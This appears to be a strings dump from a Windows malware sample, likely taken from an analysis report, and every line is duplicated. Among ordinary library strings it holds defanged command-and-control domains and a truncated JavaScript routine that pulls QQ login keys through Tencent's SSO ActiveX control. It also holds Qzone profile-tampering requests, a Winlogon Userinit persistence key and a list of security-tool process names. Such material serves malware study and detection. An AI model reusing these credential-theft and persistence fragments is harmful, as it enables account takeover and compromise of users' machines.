778C6A1D843227CCFF17841386544274C9A024F44F111C0C22F887A8A561B75DD9AC1CB677C2113BB2149A0B14B4E479CCFAA1C8332516F0D6524AF885658798D5F197AB15E6112E54FE6702620909CB364D7E44F8A1D6088C536F683CE54BB6C3406886A5A5F932E55592A1EFE32EA2C8E89775884DD7A786C7D557F1107A808E650A839FAEB0BEDE63F36583F5AF8786F7E25C191813EBB841649ECCF76BC03A0ADA0455C4D7626E4363E366CA85AE849B604D8F694D019E1B1704D7CD2DB0FD244C826FA8FC386FB49B8FA4E038B9613ED53A0CBB531394ED5F8BC6F69372EF270950755446CF52267E0934EBC58266C3ABFA928B442FF690D8720922C737F380D9F36EB4BA9B12BEB7A4C822F85D3B9CB335933FF6D947FA23C8E872397FF1C5D5CB69993BFC5EBFE417A377ED2AA5D37D98F149C1095CC25A1F11C74D19D22657379D25FFBE8494BE686F9AE0A07B9025C6DD4A29A74725319E95DD14094090EC10E732CC7E879A6A08DCA7420E1A14F362ECF0F0F04A8A7FCEDB090BA740EC21F57B02F9CD62F010D0F0F29687D924A0E22401B65020341D00E1851C31768A770F7926D844B8FF707E6E5957729E3E69F900D3CFAB9C1BE39CF8FE92405C293E8A644588CF3FD0570884144DCE7773EE638D228FBE92AA252B75DDE30288F0A1587D787529950FA2E5C2668CB9348D4ABBA748C14809C42A90A5DB49355B0464EF8D3C615B1A744CB8609599F1782F870A2EEA02634101C5D3930B86BFF8DB34C491A7E40B53791DECF65FEBA3064FD61B6A00BBCFD395FB6B1298D66376E6762B2E74D9CAc:\temp_s.vbs
778C6A1D843227CCFF17841386544274C9A024F44F111C0C22F887A8A561B75DD9AC1CB677C2113BB2149A0B14B4E479CCFAA1C8332516F0D6524AF885658798D5F197AB15E6112E54FE6702620909CB364D7E44F8A1D6088C536F683CE54BB6C3406886A5A5F932E55592A1EFE32EA2C8E89775884DD7A786C7D557F1107A808E650A839FAEB0BEDE63F36583F5AF8786F7E25C191813EBB841649ECCF76BC03A0ADA0455C4D7626E4363E366CA85AE849B604D8F694D019E1B1704D7CD2DB0FD244C826FA8FC386FB49B8FA4E038B9613ED53A0CBB531394ED5F8BC6F69372EF270950755446CF52267E0934EBC58266C3ABFA928B442FF690D8720922C737F380D9F36EB4BA9B12BEB7A4C822F85D3B9CB335933FF6D947FA23C8E872397FF1C5D5CB69993BFC5EBFE417A377ED2AA5D37D98F149C1095CC25A1F11C74D19D22657379D25FFBE8494BE686F9AE0A07B9025C6DD4A29A74725319E95DD14094090EC10E732CC7E879A6A08DCA7420E1A14F362ECF0F0F04A8A7FCEDB090BA740EC21F57B02F9CD62F010D0F0F29687D924A0E22401B65020341D00E1851C31768A770F7926D844B8FF707E6E5957729E3E69F900D3CFAB9C1BE39CF8FE92405C293E8A644588CF3FD0570884144DCE7773EE638D228FBE92AA252B75DDE30288F0A1587D787529950FA2E5C2668CB9348D4ABBA748C14809C42A90A5DB49355B0464EF8D3C615B1A744CB8609599F1782F870A2EEA02634101C5D3930B86BFF8DB34C491A7E40B53791DECF65FEBA3064FD61B6A00BBCFD395FB6B1298D66376E6762B2E74D9CAc:\temp_s.vbs
hXXp://VVV.aidown.top/z/1.html
hXXp://VVV.aidown.top/z/1.html
/flashkq.swf
/flashkq.swf
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
skey
skey
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=base&nickname=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=base&nickname=
hXXp://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
hXXp://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
SSOAxCtrlForPTLogin.SSOForPTLogin2
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
len = str.length; i
len = str.length; i
var t = QZONE.FormSender;
var t = QZONE.FormSender;
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
var a = QZFL.string.trim(fm.action);
var a = QZFL.string.trim(fm.action);
a = (a.indexOf("?") > -1 ? "&": "?") "g_tk=" QZFL.pluginsDefine.getACSRFToken();
a = (a.indexOf("?") > -1 ? "&": "?") "g_tk=" QZFL.pluginsDefine.getACSRFToken();
fm.action = a
fm.action = a
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=space&spacename=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=space&spacename=
hXXp://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
hXXp://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
.tiff
.tiff
{557CF406-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
/flashkq.fne
/flashkq.fne
hXXp://zryk.aa3e.com/
hXXp://zryk.aa3e.com/
yanhua.swf
yanhua.swf
qi_e.swf
qi_e.swf
qiao.swf
qiao.swf
xiaxueswf.swf
xiaxueswf.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201605/flash4527.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201605/flash4527.swf
xuanwo.swf
xuanwo.swf
baaaoli.swf
baaaoli.swf
boli.swf
boli.swf
doadwg.swf
doadwg.swf
dog.swf
dog.swf
zrgui.swf
zrgui.swf
heidongz.swf
heidongz.swf
hudiez.swf
hudiez.swf
konglongs.swf
konglongs.swf
shayuzr.swf
shayuzr.swf
shengriklz.swf
shengriklz.swf
wuguizr.swf
wuguizr.swf
xiyizrk.swf
xiyizrk.swf
xiayulo1.swf
xiayulo1.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201508/flash3853.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201508/flash3853.swf
yaziswf.swf
yaziswf.swf
yanhua2.swf
yanhua2.swf
bingbi2ngbing.swf
bingbi2ngbing.swf
c:\111._.mp3
c:\111._.mp3
command.com /c
command.com /c
cmd.exe /c
cmd.exe /c
c:\windows\_temp2.bmp
c:\windows\_temp2.bmp
c:\windows\_temp3.jpg
c:\windows\_temp3.jpg
/tpsc.asp
/tpsc.asp
c:\111666.bmp
c:\111666.bmp
c:\111666.jpg
c:\111666.jpg
\hot.bmp
\hot.bmp
\hot.jpg
\hot.jpg
C:\windows\web\CS2.bmp
C:\windows\web\CS2.bmp
C:\windows\web\CS2.jpg
C:\windows\web\CS2.jpg
C:\windows\web\
C:\windows\web\
?taskmgr.exe
?taskmgr.exe
KUG0U.exe
KUG0U.exe
uninstalla.exe
uninstalla.exe
usysdiag.exe
usysdiag.exe
msdtcws.exe
msdtcws.exe
HipsDaemon.exe
HipsDaemon.exe
logonuisd.exe
logonuisd.exe
dotnetfx.exe
dotnetfx.exe
LoginZ.exe
LoginZ.exe
LoginZ_
LoginZ_
444444444
444444444
\ip.txt
\ip.txt
VVV.hot88.top
VVV.hot88.top
userinit.exe,
userinit.exe,
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
.idata
.idata
.edata
.edata
P.reloc
P.reloc
P.rsrc
P.rsrc
Windows
Windows
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
oleaut32.dll
EVariantBadIndexError
EVariantBadIndexError
ssShift
ssShift
htKeyword
htKeyword
EInvalidOperation
EInvalidOperation
u%CNu
u%CNu
%s_%d
%s_%d
EInvalidGraphicOperation
EInvalidGraphicOperation
USER32.DLL
USER32.DLL
comctl32.dll
comctl32.dll
uxtheme.dll
uxtheme.dll
MAPI32.DLL
MAPI32.DLL
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
JumpID("","%s")
ssHotTrack
ssHotTrack
TWindowState
TWindowState
poProportional
poProportional
TWMKey
TWMKey
KeyPreviewd
KeyPreviewd
WindowState
WindowState
OnKeyDown4=D
OnKeyDown4=D
OnKeyPress
OnKeyPress
OnKeyUp
OnKeyUp
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
vcltest3.dll
User32.dll
User32.dll
AutoHotkeysp
AutoHotkeysp
AutoHotkeys
AutoHotkeys
TKeyEvent
TKeyEvent
TKeyPressEvent
TKeyPressEvent
HelpKeyword
HelpKeyword
crSQLWait
crSQLWait
%s (%s)
%s (%s)
imm32.dll
imm32.dll
FilterGraph %p pid %x
FilterGraph %p pid %x
E:\DelphiComponment\DSPACK234\src\DSPack\DSUtil.pas
E:\DelphiComponment\DSPACK234\src\DSPack\DSUtil.pas
($%x).
($%x).
vpDoNotRenderColorKeyAndBorder
vpDoNotRenderColorKeyAndBorder
Operation
Operation
TOnDVDCMD
TOnDVDCMD
CmdID
CmdID
OnDVDCMDStarth
OnDVDCMDStarth
OnDVDCMDEndHIA
OnDVDCMDEndHIA
OnDVDWarningFormatNotSupportedHIA
OnDVDWarningFormatNotSupportedHIA
OnKeyUp8AD
OnKeyUp8AD
E:\DelphiComponment\DSPACK234\src\DSPack\DSPack.pas
E:\DelphiComponment\DSPACK234\src\DSPack\DSPack.pas
GetKeyboardType
GetKeyboardType
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
GetCPInfo
GetCPInfo
version.dll
version.dll
SetViewportOrgEx
SetViewportOrgEx
MapVirtualKeyA
MapVirtualKeyA
LoadKeyboardLayoutA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyboardLayout
GetKeyNameTextA
GetKeyNameTextA
EnumThreadWindows
EnumThreadWindows
ActivateKeyboardLayout
ActivateKeyboardLayout
avifil32.dll
avifil32.dll
winmm.dll
winmm.dll
quartz.dll
quartz.dll
4#4'4 4}4
4#4'4 4}4
8 8$8(8,8
8 8$8(8,8
0"1&12181
0"1&12181
1"2&2*2.22282
1"2&2*2.22282
2$3(30343
2$3(30343
0 0$0(0,0004080
0 0$0(0,0004080
0"1&1*101
0"1&1*101
7%8*8.888{8
7%8*8.888{8
333333333333333333
333333333333333333
33333833
33333833
3333339
3333339
3333333333333338
3333333333333338
:*"*"$3338
:*"*"$3338
3333333
3333333
33333333
33333333
33333333333
33333333333
3333333333338
3333333333338
33338?383
33338?383
333333333333
333333333333
:*3:"$3338
:*3:"$3338
333333333333333
333333333333333
KWindows
KWindows
UrlMon
UrlMon
\VedioCapture.dll
\VedioCapture.dll
swfurl.txt
swfurl.txt
bbs.125.la
bbs.125.la
E.WinInet 1.0
E.WinInet 1.0
Super-EChXXp://VVV.super-ec.cnhXXp://VVV.eyybc.com/forum-17-1.html/forum-12-1.html/memcp.php/ip.asp/time.asp/gonggao.txt/ec-user6.php/ec-bd.php/ec-jh.php
Super-EChXXp://VVV.super-ec.cnhXXp://VVV.eyybc.com/forum-17-1.html/forum-12-1.html/memcp.php/ip.asp/time.asp/gonggao.txt/ec-user6.php/ec-bd.php/ec-jh.php
hXXp://VVV.super-ec.cn
hXXp://VVV.super-ec.cn
" class="txt" />Function Getcpuid()
" class="txt" />Function Getcpuid()
Set cpuSet = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
Set cpuSet = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
getcpuid=cpu.ProcessorId
getcpuid=cpu.ProcessorId
H7FKWfffY8HGWWW.
H7FKWfffY8HGWWW.
QV%x)
QV%x)
r,.IBXX\
r,.IBXX\
=3Þ
=3Þ
%,..ciy
%,..ciy
.... (*>
.... (*>
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
portuguese-brazilian
portuguese-brazilian
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
WSOCK32.dll
WSOCK32.dll
.PAVCException@@
.PAVCException@@
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Service Pack %d
Service Pack %d
Windows 2003
Windows 2003
Windows XP
Windows XP
Windows 2000
Windows 2000
Windows NT
Windows NT
Windows ??
Windows ??
Windows Millenium Edition
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98 SP1
Windows 98
Windows 98
Windows 95 OSR2
Windows 95 OSR2
Windows 95 SP1
Windows 95 SP1
Windows 95
Windows 95
Windows CE
Windows CE
Microsoft Windows Me
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
Windows Server 2008 R2
Windows Server 2008 R2
Windows Server 2008
Windows Server 2008
Microsoft Windows 2003
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows NT
Microsoft Windows NT
KERNEL32.DLL
KERNEL32.DLL
(*.htm;*.html)|*.htm;*.html
(*.htm;*.html)|*.htm;*.html
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
HTTP/1.0
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
1.0.6
1.0.6
\shell32.dll
\shell32.dll
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
msctls_hotkey32
msctls_hotkey32
Corrupt JPEG data: found marker 0xx instead of RST%d
Corrupt JPEG data: found marker 0xx instead of RST%d
Warning: unknown JFIF revision number %d.d
Warning: unknown JFIF revision number %d.d
Corrupt JPEG data: %u extraneous bytes before marker 0xx
Corrupt JPEG data: %u extraneous bytes before marker 0xx
Inconsistent progression sequence for component %d coefficient %d
Inconsistent progression sequence for component %d coefficient %d
Unknown Adobe color transform code %d
Unknown Adobe color transform code %d
Obtained XMS handle %u
Obtained XMS handle %u
Freed XMS handle %u
Freed XMS handle %u
Unrecognized component IDs %d %d %d, assuming YCbCr
Unrecognized component IDs %d %d %d, assuming YCbCr
JFIF extension marker: RGB thumbnail image, length %u
JFIF extension marker: RGB thumbnail image, length %u
JFIF extension marker: palette thumbnail image, length %u
JFIF extension marker: palette thumbnail image, length %u
JFIF extension marker: JPEG-compressed thumbnail image, length %u
JFIF extension marker: JPEG-compressed thumbnail image, length %u
Opened temporary file %s
Opened temporary file %s
Closed temporary file %s
Closed temporary file %s
Ss=%d, Se=%d, Ah=%d, Al=%d
Ss=%d, Se=%d, Ah=%d, Al=%d
Component %d: dc=%d ac=%d
Component %d: dc=%d ac=%d
Start Of Scan: %d components
Start Of Scan: %d components
Component %d: %dhx%dv q=%d
Component %d: %dhx%dv q=%d
Start Of Frame 0xx: width=%u, height=%u, components=%d
Start Of Frame 0xx: width=%u, height=%u, components=%d
Smoothing not supported with nonstandard sampling ratios
Smoothing not supported with nonstandard sampling ratios
RST%d
RST%d
At marker 0xx, recovery action %d
At marker 0xx, recovery action %d
Selected %d colors for quantization
Selected %d colors for quantization
Quantizing to %d colors
Quantizing to %d colors
Quantizing to %d = %d*%d*%d colors
Quantizing to %d = %d*%d*%d colors
%4u %4u %4u %4u %4u %4u %4u %4u
%4u %4u %4u %4u %4u %4u %4u %4u
Unexpected marker 0xx
Unexpected marker 0xx
Miscellaneous marker 0xx, length %u
Miscellaneous marker 0xx, length %u
with %d x %d thumbnail image
with %d x %d thumbnail image
JFIF extension marker: type 0xx, length %u
JFIF extension marker: type 0xx, length %u
Warning: thumbnail image size does not match data length %u
Warning: thumbnail image size does not match data length %u
JFIF APP0 marker: version %d.d, density %dx%d %d
JFIF APP0 marker: version %d.d, density %dx%d %d
= = = = = = = =
= = = = = = = =
Obtained EMS handle %u
Obtained EMS handle %u
Freed EMS handle %u
Freed EMS handle %u
Define Restart Interval %u
Define Restart Interval %u
Define Quantization Table %d precision %d
Define Quantization Table %d precision %d
Define Huffman Table 0xx
Define Huffman Table 0xx
Define Arithmetic Table 0xx: 0xx
Define Arithmetic Table 0xx: 0xx
Unknown APP14 marker (not Adobe), length %u
Unknown APP14 marker (not Adobe), length %u
Unknown APP0 marker (not JFIF), length %u
Unknown APP0 marker (not JFIF), length %u
Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d
Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d
Unsupported marker type 0xx
Unsupported marker type 0xx
Failed to create temporary file %s
Failed to create temporary file %s
Unsupported JPEG process: SOF type 0xx
Unsupported JPEG process: SOF type 0xx
Cannot quantize to more than %d colors
Cannot quantize to more than %d colors
Cannot quantize to fewer than %d colors
Cannot quantize to fewer than %d colors
Cannot quantize more than %d color components
Cannot quantize more than %d color components
Insufficient memory (case %d)
Insufficient memory (case %d)
Not a JPEG file: starts with 0xx 0xx
Not a JPEG file: starts with 0xx 0xx
Quantization table 0xx was not defined
Quantization table 0xx was not defined
Huffman table 0xx was not defined
Huffman table 0xx was not defined
Backing store not supported
Backing store not supported
Arithmetic table 0xx was not defined
Arithmetic table 0xx was not defined
Cannot transcode due to multiple use of quantization table %d
Cannot transcode due to multiple use of quantization table %d
Maximum supported image dimension is %u pixels
Maximum supported image dimension is %u pixels
Empty JPEG image (DNL not supported)
Empty JPEG image (DNL not supported)
Bogus DQT index %d
Bogus DQT index %d
Bogus DHT index %d
Bogus DHT index %d
Bogus DAC value 0x%x
Bogus DAC value 0x%x
Bogus DAC index %d
Bogus DAC index %d
Unsupported color conversion request
Unsupported color conversion request
Too many color components: %d, max %d
Too many color components: %d, max %d
Buffer passed to JPEG library is too small
Buffer passed to JPEG library is too small
JPEG parameter struct mismatch: library thinks size is %u, caller expects %u
JPEG parameter struct mismatch: library thinks size is %u, caller expects %u
Improper call to JPEG library in state %d
Improper call to JPEG library in state %d
Invalid scan script at entry %d
Invalid scan script at entry %d
Invalid progressive parameters at scan script entry %d
Invalid progressive parameters at scan script entry %d
Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d
Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d
Unsupported JPEG data precision %d
Unsupported JPEG data precision %d
Invalid memory pool code %d
Invalid memory pool code %d
Wrong JPEG library version: library is %d, caller expects %d
Wrong JPEG library version: library is %d, caller expects %d
Component index %d: mismatching sampling ratio %d:%d, %d:%d, %c
Component index %d: mismatching sampling ratio %d:%d, %d:%d, %c
DCT scaled block size %dx%d not supported
DCT scaled block size %dx%d not supported
Invalid component ID %d in SOS
Invalid component ID %d in SOS
NULL row buffer for row %ld, pass %d
NULL row buffer for row %ld, pass %d
Unknown zTXt compression type %d
Unknown zTXt compression type %d
gamma = (%d/100000)
gamma = (%d/100000)
gx=%f, gy=%f, bx=%f, by=%f
gx=%f, gy=%f, bx=%f, by=%f
wx=%f, wy=%f, rx=%f, ry=%f
wx=%f, wy=%f, rx=%f, ry=%f
incorrect gamma=(%d/100000)
incorrect gamma=(%d/100000)
%s: Cannot open
%s: Cannot open
%s: Write error at scanline %lu
%s: Write error at scanline %lu
%s: Seek error at scanline %lu
%s: Seek error at scanline %lu
%u: Sample out of range, max %u
%u: Sample out of range, max %u
%s: Cannot modify tag "%s" while writing
%s: Cannot modify tag "%s" while writing
%s: Unknown %stag %u
%s: Unknown %stag %u
%f: Bad value for "%s"
%f: Bad value for "%s"
%s: Invalid %stag "%s" (not supported by codec)
%s: Invalid %stag "%s" (not supported by codec)
TIFFVSetField ... pass by value not imp.
TIFFVSetField ... pass by value not imp.
%ld: Bad value for "%s"
%ld: Bad value for "%s"
%d: Bad value for "%s"
%d: Bad value for "%s"
Nonstandard tile length %d, convert file
Nonstandard tile length %d, convert file
Nonstandard tile width %d, convert file
Nonstandard tile width %d, convert file
Bad value %ld for "%s" tag ignored
Bad value %ld for "%s" tag ignored
%s: Invalid InkNames value; expecting %d names, found %d
%s: Invalid InkNames value; expecting %d names, found %d
TIFFVGetField ... pass by value not imp.
TIFFVGetField ... pass by value not imp.
Sorry, can not handle images with %d-bit samples
Sorry, can not handle images with %d-bit samples
Sorry, can not handle LogLuv images with %s=%d
Sorry, can not handle LogLuv images with %s=%d
Sorry, LogLuv data must have %s=%d or %d
Sorry, LogLuv data must have %s=%d or %d
Sorry, can not handle image with %s=%d
Sorry, can not handle image with %s=%d
Sorry, LogL data must have %s=%d
Sorry, LogL data must have %s=%d
Sorry, can not handle separated image with %s=%d
Sorry, can not handle separated image with %s=%d
Sorry, can not handle RGB image with %s=%d
Sorry, can not handle RGB image with %s=%d
Sorry, can not handle YCbCr images with %s=%d
Sorry, can not handle YCbCr images with %s=%d
Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d
Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d
Missing needed %s tag
Missing needed %s tag
Sorry, can not image with %d-bit samples
Sorry, can not image with %d-bit samples
"%s": Bad mode
"%s": Bad mode
Not a TIFF file, bad version number %d (0x%x)
Not a TIFF file, bad version number %d (0x%x)
Not a TIFF file, bad magic number %d (0x%x)
Not a TIFF file, bad magic number %d (0x%x)
%s: Out of memory (TIFF structure)
%s: Out of memory (TIFF structure)
Sample %d out of range, max %u
Sample %d out of range, max %u
Internal error, unknown tag 0x%x
Internal error, unknown tag 0x%x
Tag %d
Tag %d
%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu; got %lu bytes, expected %lu
%s: Seek error at scanline %lu, strip %lu
%s: Seek error at scanline %lu, strip %lu
%s: Data buffer too small to hold strip %lu
%s: Data buffer too small to hold strip %lu
%s: Read error on strip %lu; got %lu bytes, expected %lu
%s: Read error on strip %lu; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu
%s: Seek error at row %ld, col %ld, tile %ld
%s: Seek error at row %ld, col %ld, tile %ld
%s: Data buffer too small to hold tile %ld
%s: Data buffer too small to hold tile %ld
%s: No space for data buffer at scanline %ld
%s: No space for data buffer at scanline %ld
Compression scheme %u %s encoding is not implemented
Compression scheme %u %s encoding is not implemented
%s %s encoding is not implemented
%s %s encoding is not implemented
%s %s encoding is no longer implemented due to Unisys patent enforcement
%s %s encoding is no longer implemented due to Unisys patent enforcement
Compression scheme %u %s decoding is not implemented
Compression scheme %u %s decoding is not implemented
%s %s decoding is not implemented
%s %s decoding is not implemented
Compression algorithm does not support random access
Compression algorithm does not support random access
Bogus "%s" field, ignoring and calculating from imagelength
Bogus "%s" field, ignoring and calculating from imagelength
TIFF directory is missing required "%s" field, calculating from imagelength
TIFF directory is missing required "%s" field, calculating from imagelength
wrong data type %d for "%s"; tag ignored
wrong data type %d for "%s"; tag ignored
unknown field with tag %d (0x%x) encountered
unknown field with tag %d (0x%x) encountered
No space %s
No space %s
TIFF directory is missing required "%s" field
TIFF directory is missing required "%s" field
incorrect count for field "%s" (%lu, expecting %lu); tag ignored
incorrect count for field "%s" (%lu, expecting %lu); tag ignored
Error fetching data for field "%s"
Error fetching data for field "%s"
%s: Rational with zero denominator (num = %lu)
%s: Rational with zero denominator (num = %lu)
Cannot handle different per-sample values for field "%s"
Cannot handle different per-sample values for field "%s"
cannot read TIFF_ANY type %d for field "%s"
cannot read TIFF_ANY type %d for field "%s"
"%s": Information lost writing value (%g) as (unsigned) RATIONAL
"%s": Information lost writing value (%g) as (unsigned) RATIONAL
Error writing data for field "%s"
Error writing data for field "%s"
%s: Error writing SubIFD directory link
%s: Error writing SubIFD directory link
%s compression support is not configured
%s compression support is not configured
